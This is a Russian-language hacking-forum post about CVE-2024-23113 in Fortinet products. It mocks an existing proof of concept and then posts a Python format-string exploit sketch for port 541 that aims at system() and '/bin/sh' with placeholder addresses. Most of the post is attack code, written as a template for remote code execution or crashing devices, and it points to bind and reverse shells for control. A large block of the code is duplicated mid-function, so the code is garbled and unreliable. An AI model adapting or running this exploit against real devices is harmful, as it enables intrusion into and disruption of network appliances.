• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote [CVE-2024-23113] FortiOS, FortiPAM, FortiProxy и FortiWeb (POC)

Ситуация такая, код ревью авторов эксплойта:
Код:
Этот код… ну, он пытается что-то сделать, но это больше похоже на попытку взломать сейф с помощью отвертки. Полный fail.

Во-первых, check_hostname = False и verify_mode = ssl.CERT_NONE — это крик о помощи. Ты отключаешь всю проверку сертификатов! Это открывает дверь для человека посередине (MITM) атаки. Любой может подменить сертификат и перехватывать твой трафик. Ты настолько наивен, что даже не представляешь себе опасность.

Во-вторых, полезная нагрузка format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00". Это попытка использовать форматную строку уязвимость. Но она слишком проста и вероятность успеха крайне мала. Современные системы защищены гораздо лучше. Этот код скорее вызовет ошибку, чем взломает что-либо.

В-третьих, отсутствие обработки различных ответов сервера — полный провал. Ты ждешь только определённого ответа, не учитывая другие варианты. Это ограничивает возможности и делает код неэффективным.

В-четвёртых, port=541 — это что за магическое число? Какой сервис работает на этом порту? Ты хотя бы знаешь, что проверяешь?

Как это можно проэксплуатировать (правильно):

Чтобы найти уязвимости, нужно использовать более сложные и целевые методы. Например:

• Сканирование портов: Определить, какие порты открыты на целевом хосте.
• Fuzzing: Отправка различных полезных нагрузок для поиска уязвимостей.
• Анализ трафика: Перехват и анализ сетевого трафика для выявления уязвимостей в протоколах и приложениях.
• Exploit-development: Создание специальных exploit'ов, нацеленных на конкретные уязвимости.

Но помни, это не детская игра. Без глубокого понимания сетевой безопасности и программирования ты ничего не достигнешь. А твой код — это смех. Ты даже не близко к тому, чтобы назваться хакером. Пойди лучше поучись. Но для начала — забудь про этот код. Он — полное говнo.
 
Всем привет, ногие просили меня написать в ПМ боевой эксп, но это не по понятиям старой школы. Ладно, предоставлю вам не готовый продукт, а... схему. Как бы я начал "чудить" с этим %n, если бы у меня были нужные адреса.

Этот код не будет работать без предварительной разведки и подстановки правильных адресов. И это главная "ошибка" для любого "ламерка". Он просто сломает себе мозг (или уронит сервер) пытаясь запустить его как есть.

Представь, что ты уже проделал всю грязную работу из Шага 1 и 2: ты слил стек, нашел, где находится адрес возврата функции (или GOT-запись, которую хочешь перезаписать), нашел адрес функции system() в памяти сервера, и нашел место, куда можешь записать строку "/bin/sh\x00".

Вот как бы ты мог попытаться это использовать для выполнения команды, манипулируя памятью через форматную строку:
Python:
import socket
import ssl
import struct
import sys

# --- Часть функций из оригинального POC (для контекста) ---
# Предполагаем, что create_ssl_context, create_socket, connect_socket, create_packet
# и handle_ssl_error здесь доступны, как в твоем POC.
# Я их не повторяю для краткости, но они нужны для работы.

# --- Наша "чудная" часть: Попытка эксплуатации ---

def exploit_format_string_rce(hostname):
    """
    ПРИМЕР: Попытка эксплуатации Format String уязвимости для RCE на порту 541.
    ЭТОТ КОД НЕ РАБОТАЕТ БЕЗ ПРАВИЛЬНЫХ АДРЕСОВ, НАЙДЕННЫХ ЧЕРЕЗ РАЗВЕДКУ!
    ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ ИЛЛЮСТРАЦИИ!
    """
    print(f"[!] Попытка 'почудить' на {hostname}...")

    # === ВОТ ТВОИ ОШИБКИ, ЛАМЕРОК! ===
    # Эти адреса НИКОГДА не будут правильными на реальной системе без разведки!
    # ИХ НУЖНО НАЙТИ ДЛЯ КАЖДОЙ ЦЕЛИ ОТДЕЛЬНО!
    TARGET_WRITE_ADDRESS = 0x41414141  # Адрес, куда мы хотим писать (например, адрес возврата или GOT)
    SYSTEM_FUNCTION_ADDRESS = 0x42424242 # Адрес функции system() в памяти сервера
    COMMAND_STRING_ADDRESS = 0x43434343  # Адрес строки "/bin/sh\x00" или "cmd.exe\x00"

    # Смещение до нашего управляемого указателя на стеке.
    # Это число %x или %p нужно было бы отправить, чтобы добраться до нашего адреса для записи.
    # НАЙТИ ЭТО СМЕЩЕНИЕ НУЖНО ЧЕРЕЗ ОТЛАДКУ ИЛИ СЛИВ СТЕКА!
    ADDRESS_OFFSET_ON_STACK = 15 # Пример: 15-й аргумент форматной строки

    # --- Конец твоих ошибок ---

    # Адрес для записи нужно разбить на части (например, по 2 байта для %hn на 32-бит системе)
    # Или по 4/8 байт для %n на 64-бит системе
    # Предположим, 32-бит архитектура для примера с %hn
    addr_part1 = TARGET_WRITE_ADDRESS & 0xFFFF # Младшие 2 байта
    addr_part2 = (TARGET_WRITE_ADDRESS >> 16) & 0xFFFF # Старшие 2 байта

    # Значение, которое мы хотим записать (адрес system)
    # Также разбиваем на части
    value_part1 = SYSTEM_FUNCTION_ADDRESS & 0xFFFF
    value_part2 = (SYSTEM_FUNCTION_ADDRESS >> 16) & 0xFFFF

    # Убедимся, что части идут по возрастанию, чтобы использовать %c эффективно
    if value_part1 > value_part2:
        value_part1, value_part2 = value_part2, value_part1
        # Нужно также поменять местами адреса, куда пишем эти части!
        # ЭТО УСЛОЖНЯЕТ КОД, ПРОПУЩЕНО ДЛЯ ЯСНОСТИ ПРИНЦИПА
        # В РЕАЛЬНОСТИ НУЖНО ТЩАТЕЛЬНО ПЛАНИРОВАТЬ ПОРЯДОК ЗАПИСИ И АДРЕСОВ
        print("[!] ВНИМАНИЕ: части адреса system идут не по порядку. Упрощено для примера.")
        print("[!] Реальный эксплойт требует более сложной логики для порядка записи.")
    # Формируем полезную нагрузку с форматной строкой.
    # Идея:
    # 1. Разместить адреса, куда писать, где-то доступно для форматной строки (например, в начале буфера payload)
    # 2. Использовать %<количество>c для вывода нужного количества байт
    # 3. Использовать %<offset>$hn для записи количества выведенных байт по нужному адресу
    # 4. Повторить для следующей части адреса

    # Начало нашей полезной нагрузки. Сначала адреса, куда будем писать.
    # Нам нужно два адреса для записи 4-байтного значения по 2 байта (%hn)
    # Плюс, возможно, строка команды где-то в этом буфере.
    payload = struct.pack('<I', TARGET_WRITE_ADDRESS) # Адрес 1 для записи (младшие 2 байта)
    payload += struct.pack('<I', TARGET_WRITE_ADDRESS + 2) # Адрес 2 для записи (старшие 2 байта)
    payload += b"/bin/sh\x00" # Строка команды, размещаем ее где-то в буфере

    # Добавляем немного "мусора" или других данных, чтобы добраться до места на стеке,
    # откуда форматная строка начнет читать наши данные/указатели.
    # ЭТО ЗАВИСИТ ОТ СМЕЩЕНИЯ (ADDRESS_OFFSET_ON_STACK)!
    # ПРОПУЩЕНО ДЛЯ ПРОСТОТЫ ПРИМЕРА, В РЕАЛЬНОСТИ НУЖНО ВЫЧИСЛЯТЬ ЗАГОЛОВОК ПАКЕТА, ДЛИНУ PAYLOAD И СМЕЩЕНИЯ!
    # payload += b"A" * (СМЕЩЕНИЕ_НА_СТЕКЕ - len(payload)) # ЭТО ОЧЕНЬ СЛОЖНО ВЫЧИСЛИТЬ ТОЧНО

    # Теперь сама форматная строка.
    # Сначала выводим минимальное количество байт для записи value_part1
    # Затем используем %<offset>$hn, чтобы записать это количество байт по адресу TARGET_WRITE_ADDRESS
    # Затем выводим (value_part2 - value_part1) байт дополнительно
    # И используем %<offset+1>$hn, чтобы записать общее количество байт (value_part2) по адресу TARGET_WRITE_ADDRESS + 2

    # ВНИМАНИЕ: Расчет количества байт для %c должен учитывать ВСЕ байты,
    # выведенные ДО текущего %hn, включая заголовок пакета, предыдущие части payload,
    # и вывод от предыдущих %c. ЭТО СЛОЖНО И ЧАСТО ТРЕБУЕТ ТОЧНОГО ЗНАНИЯ ПРОТОКОЛА!
    # Ниже - УПРОЩЕННАЯ логика.

    # Предположим, что к моменту обработки форматной строки уже выведено total_bytes_before_fs байт.
    total_bytes_before_fs = 8 # Примерный размер заголовка пакета. В реальности сложнее!

    # Расчет байт для первой записи
    bytes_to_print_part1 = value_part1 - total_bytes_before_fs
    if bytes_to_print_part1 < 0:
        # Это значит, что total_bytes_before_fs уже больше value_part1.
        # Нужен более сложный подход с перезаписью младших байт.
        # Или использовать %hhn для записи по 1 байту.
        print("[!] ВНИМАНИЕ: value_part1 меньше уже выведенных байт. Этот пример не справится.")
        return False
    format_str = b"%" + str(bytes_to_print_part1).encode() + b"c"
    format_str += b"%" + str(ADDRESS_OFFSET_ON_STACK).encode() + b"$hn" # Записываем value_part1 по TARGET_WRITE_ADDRESS

    # Расчет байт для второй записи
    bytes_to_print_part2 = value_part2 - value_part1
    if bytes_to_print_part2 < 0:
         print("[!] ВНИМАНИЕ: value_part2 меньше value_part1. Этот пример не справится.")
         return False
    format_str += b"%" + str(bytes_to_print_part2).encode() + b"c"
    format_str += b"%" + str(ADDRESS_OFFSET_ON_STACK + 1).encode() + b"$hn" # Записываем value_part2 по TARGET_WRITE_ADDRESS + 2

    # Добавляем нашу форматную строку к payload.
    # ПОРЯДОК ВАЖЕН! Адреса для записи должны быть доступны форматной строке на стеке!
    # Обычно их размещают в начале буфера, на который указывает аргумент printf.
    # Если буфер format_string_payload идет сразу после заголовка пакета,
    # и printf читает с начала этого буфера, то ADDRESS_OFFSET_ON_STACK
    # будет зависеть от того, сколько указателей на стеке находятся перед
    # указателем на наш буфер, и сколько наших адресов для записи
    # находятся в начале буфера перед самой форматной строкой.
    # ЭТО ОЧЕНЬ ТОЧНО НУЖНО ВЫЧИСЛЯТЬ ИЛИ НАХОДИТЬ ЭКСПЕРИМЕНТАЛЬНО!

    # В этом упрощенном примере просто приклеим форматную строку к payload
    # (ПРИ ЭТОМ АДРЕСА ДЛЯ ЗАПИСИ В PAYLOAD НЕ БУДУТ ДОСТУПНЫ ПО ADDRESS_OFFSET_ON_STACK
    # КАК МЫ ОЖИДАЕМ - ВОТ ОНА, ЕЩЕ ОДНА "ОШИБКА" ДЛЯ ЛАМЕРКА!)
    final_payload = payload + format_str + b"\r\n\r\n\x00" # Завершаем как в оригинальном POC

    # Создаем пакет с новым payload
    packet = create_packet(final_payload)

    # --- Отправка и анализ ответа ---
    # Повторяем логику подключения и отправки из POC
    context = create_ssl_context()
    with create_socket() as sock:
        if not connect_socket(sock, hostname, port=541):
            return False
        try:
            with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True) as ssock:
                # Нам может понадобиться прочитать начальные данные, как в analyze_server_response,
                # чтобы не нарушить поток протокола, прежде чем отправить наш эксплойт.
                # Или просто отправить пакет эксплойта сразу после SSL рукопожатия,
                # если уязвимая функция обрабатывает данные в начале соединения.
                # ЭТО НУЖНО ТОЧНО ЗНАТЬ ПРО ПРОТОКОЛ!
                try:
                    # Попытка прочитать что-то, чтобы симулировать POC
                    # В реальном эксплойте нужно точно знать, что отправлять и когда
                    initial_data = ssock.recv(1024, socket.MSG_DONTWAIT) # Не ждать, если данных нет
                    # print(f"[*] Получено {len(initial_data)} байт начальных данных (для симуляции POC).")
                except BlockingIOError:
                    # print("[*] Начальные данные не получены сразу.")
                    pass
                except Exception as e:
                    print(f"[-] Ошибка при чтении начальных данных: {e}")
                    # Продолжаем попытку отправить эксплойт даже с ошибкой чтения

                print("[*] Отправка 'чудесного' пакета с эксплойтом...")
                ssock.send(packet)

                # В случае успеха (RCE), сервер может не упасть, а просто выполнить команду.
                # Ответ может быть разным - вывод команды, или просто продолжение работы.
                # Здесь мы просто ждем небольшое время и проверяем, не отвалилось ли соединение.
                # В реальном эксплойте нужно иметь канал для вывода команды (например, bind shell или reverse shell).
                print("[*] Ожидание реакции сервера...")
                try:
                    ssock.settimeout(2) # Ждем 2 секунды на ответ
                    response = ssock.recv(1024)
                    if response:
                         print(f"[-] Получен ответ ({len(response)} байт). Эксплойт, возможно, не сработал как RCE.")
                         # Если сервер отвечает, возможно, мы его не уронили и не получили RCE
                         # Нужен более тонкий анализ ответа
                         return False
                    else:
                         print("[+] Ответ не получен. Сервер, возможно, упал (DoS) или выполнил команду тихо.")
                         print("[!] Для подтверждения RCE нужен другой механизм (например, bind/reverse shell).")
                         return True # Считаем, что что-то произошло (либо DoS, либо RCE без вывода)

                except socket.timeout:
    # будет зависеть от того, сколько указателей на стеке находятся перед
    # указателем на наш буфер, и сколько наших адресов для записи
    # находятся в начале буфера перед самой форматной строкой.
    # ЭТО ОЧЕНЬ ТОЧНО НУЖНО ВЫЧИСЛЯТЬ ИЛИ НАХОДИТЬ ЭКСПЕРИМЕНТАЛЬНО!

    # В этом упрощенном примере просто приклеим форматную строку к payload
    # (ПРИ ЭТОМ АДРЕСА ДЛЯ ЗАПИСИ В PAYLOAD НЕ БУДУТ ДОСТУПНЫ ПО ADDRESS_OFFSET_ON_STACK
    # КАК МЫ ОЖИДАЕМ - ВОТ ОНА, ЕЩЕ ОДНА "ОШИБКА" ДЛЯ ЛАМЕРКА!)
    final_payload = payload + format_str + b"\r\n\r\n\x00" # Завершаем как в оригинальном POC

    # Создаем пакет с новым payload
    packet = create_packet(final_payload)

    # --- Отправка и анализ ответа ---
    # Повторяем логику подключения и отправки из POC
    context = create_ssl_context()
    with create_socket() as sock:
        if not connect_socket(sock, hostname, port=541):
            return False
        try:
            with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True) as ssock:
                # Нам может понадобиться прочитать начальные данные, как в analyze_server_response,
                # чтобы не нарушить поток протокола, прежде чем отправить наш эксплойт.
                # Или просто отправить пакет эксплойта сразу после SSL рукопожатия,
                # если уязвимая функция обрабатывает данные в начале соединения.
                # ЭТО НУЖНО ТОЧНО ЗНАТЬ ПРО ПРОТОКОЛ!
                try:
                    # Попытка прочитать что-то, чтобы симулировать POC
                    # В реальном эксплойте нужно точно знать, что отправлять и когда
                    initial_data = ssock.recv(1024, socket.MSG_DONTWAIT) # Не ждать, если данных нет
                    # print(f"[*] Получено {len(initial_data)} байт начальных данных (для симуляции POC).")
                except BlockingIOError:
                    # print("[*] Начальные данные не получены сразу.")
                    pass
                except Exception as e:
                    print(f"[-] Ошибка при чтении начальных данных: {e}")
                    # Продолжаем попытку отправить эксплойт даже с ошибкой чтения

                print("[*] Отправка 'чудесного' пакета с эксплойтом...")
                ssock.send(packet)

                # В случае успеха (RCE), сервер может не упасть, а просто выполнить команду.
                # Ответ может быть разным - вывод команды, или просто продолжение работы.
                # Здесь мы просто ждем небольшое время и проверяем, не отвалилось ли соединение.
                # В реальном эксплойте нужно иметь канал для вывода команды (например, bind shell или reverse shell).
                print("[*] Ожидание реакции сервера...")
                try:
                    ssock.settimeout(2) # Ждем 2 секунды на ответ
                    response = ssock.recv(1024)
                    if response:
                         print(f"[-] Получен ответ ({len(response)} байт). Эксплойт, возможно, не сработал как RCE.")
                         # Если сервер отвечает, возможно, мы его не уронили и не получили RCE
                         # Нужен более тонкий анализ ответа
                         return False
                    else:
                         print("[+] Ответ не получен. Сервер, возможно, упал (DoS) или выполнил команду тихо.")
                         print("[!] Для подтверждения RCE нужен другой механизм (например, bind/reverse shell).")
                         return True # Считаем, что что-то произошло (либо DoS, либо RCE без вывода)

                except socket.timeout:
                    print("[+] Соединение активно, но нет ответа. Возможно, RCE сработал без вывода, или сервер завис.")
                    print("[!] Требуется ручная проверка или другой канал связи.")
                    return True # Предполагаем успех, но не можем подтвердить RCE без вывода

        except ssl.SSLError as ssl_err:
             # Если получаем определенные ошибки SSL, это может говорить о падении
             if "tlsv1 alert" in str(ssl_err).lower() or "unexpected message" in str(ssl_err).lower():
                 print(f"[+] Устройство {hostname} 'почудило' и, вероятно, упало (DoS).")
                 return True
             else:
                 print(f"[-] Неожиданная ошибка SSL: {ssl_err}")
                 return False
        except socket.error as sock_err:
            print(f"[-] Ошибка сокета после отправки: {sock_err}")
            # Ошибка сокета после отправки тоже может говорить о падении процесса на сервере
            print("[+] Сервер, вероятно, упал (DoS).")
            return True
        except Exception as e:
            print(f"[-] Неизвестная ошибка в процессе эксплуатации: {e}")
            return False

# --- Добавляем вызов новой функции в main для теста ---
# if __name__ == "__main__":
#     while True:
#         hostname = input("Введите имя хоста для проверки/эксплуатации (или 'exit' для выхода): ")
#         if hostname.lower() == 'exit':
#             break
#         # Теперь можно выбрать: проверить на уязвимость или попытаться 'почудить'
#         choice = input("Выберите действие: (c)heck / (e)xploit: ").lower()
#         if choice == 'c':
#             is_vulnerable = check_vulnerability(hostname) # Твой оригинальный POC
#             if is_vulnerable:
#                  print(f"[!] Внимание: {hostname} уязвим!")
#             else:
#                  print(f"[+] {hostname} не уязвим.")
#         elif choice == 'e':
#             # ЭТОТ ВЫЗОВ БУДЕТ ИСПОЛЬЗОВАТЬ НЕПРАВИЛЬНЫЕ АДРЕСА!
#             exploit_success = exploit_format_string_rce(hostname)
#             if exploit_success:
#                  print(f"[!!!] Попытка 'почудить' завершена. Результат неизвестен без доп. проверки.")
#             else:
#                  print(f"[-] Попытка 'почудить' не удалась.")
#         else:
#              print("Неверный выбор.")

Комментарии к "чудачеству" и ошибкам для "очередного ламерка":

1. Хардкод адресов (TARGET_WRITE_ADDRESS, SYSTEM_FUNCTION_ADDRESS, COMMAND_STRING_ADDRESS): ЭТО ГЛАВНАЯ ОШИБКА! Эти адреса специфичны для конкретного процесса на конкретной системе в конкретный момент времени. Их нужно НАЙТИ через предварительную разведку (слив памяти) для каждой цели. Без этого код просто попытается писать по случайным (или одинаковым 0x41414141) адресам, что приведет к падению (DoS), но не к RCE. "Ламерок", не понимающий этого, просто увидит DoS и подумает, что "эксплойт не работает".
2. Смещение на стеке (ADDRESS_OFFSET_ON_STACK): Это число показывает, насколько глубоко на стеке нужно смотреть, чтобы найти наш управляемый указатель. Оно зависит от компилятора, оптимизаций, библиотек, и точного кода уязвимой функции. Его тоже нужно находить экспериментально или через реверс-инжиниринг. Хардкод в примере почти гарантированно неверен.
3. Расчет байт для %c: Расчет bytes_to_print_part1 и bytes_to_print_part2 очень упрощен. Он не учитывает реальное количество байт, выведенных заголовком пакета, другими частями полезной нагрузки, символами форматной строки и выводом от предыдущих спецификаторов %c. Точный расчет требует глубокого понимания, как конкретная функция printf обрабатывает строку и аргументы. Неправильный расчет приведет к записи неверных значений.
4. Порядок и расположение в payload: Расположение адресов для записи и самой форматной строки в полезной нагрузке критически важно и зависит от того, как уязвимая функция считывает данные из пакета и передает их в printf. Мой пример просто приклеивает их, что, скорее всего, не соответствует реальному расположению на стеке и сделает %<offset>$hn нерабочим.
5. Архитектура (32/64 бит) и размер указателей/записи: Код предполагает 32-бит архитектуру и запись по 2 байта (%hn). Для 64-бит архитектуры указатели 8 байт, и нужно либо записывать по 8 байт (%n, если компилятор поддерживает для 64-бит), либо более сложное "цепочечное" письмо по 1 или 2 байта. Код в примере этого не учитывает.
6. Отсутствие канала для вывода: Эксплойт пытается выполнить команду, но нет механизма, чтобы увидеть ее вывод или взаимодействовать с оболочкой. В реальном эксплойте нужно либо открывать bind shell на другом порту сервера, либо reverse shell на свой хост.

Вот так. Схема есть. Принцип понятен. А "ошибки" в виде жестко закодированных неверных адресов и упрощенных расчетов гарантируют, что этот код годится только для демонстрации принципа, но никак не для боевого применения "ламерком". 😉

Надеюсь, эта "схема чудачества" вам понравилась. Это лишь верхушка айсберга того, что можно вытворять с форматными строками, если знаешь, как.

P.S. В коде намеренно оставлены ошибки. Всю предоставленую информацию используйте на свой страх и риск. Она предоставлена в качестве пояснения и обучения.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх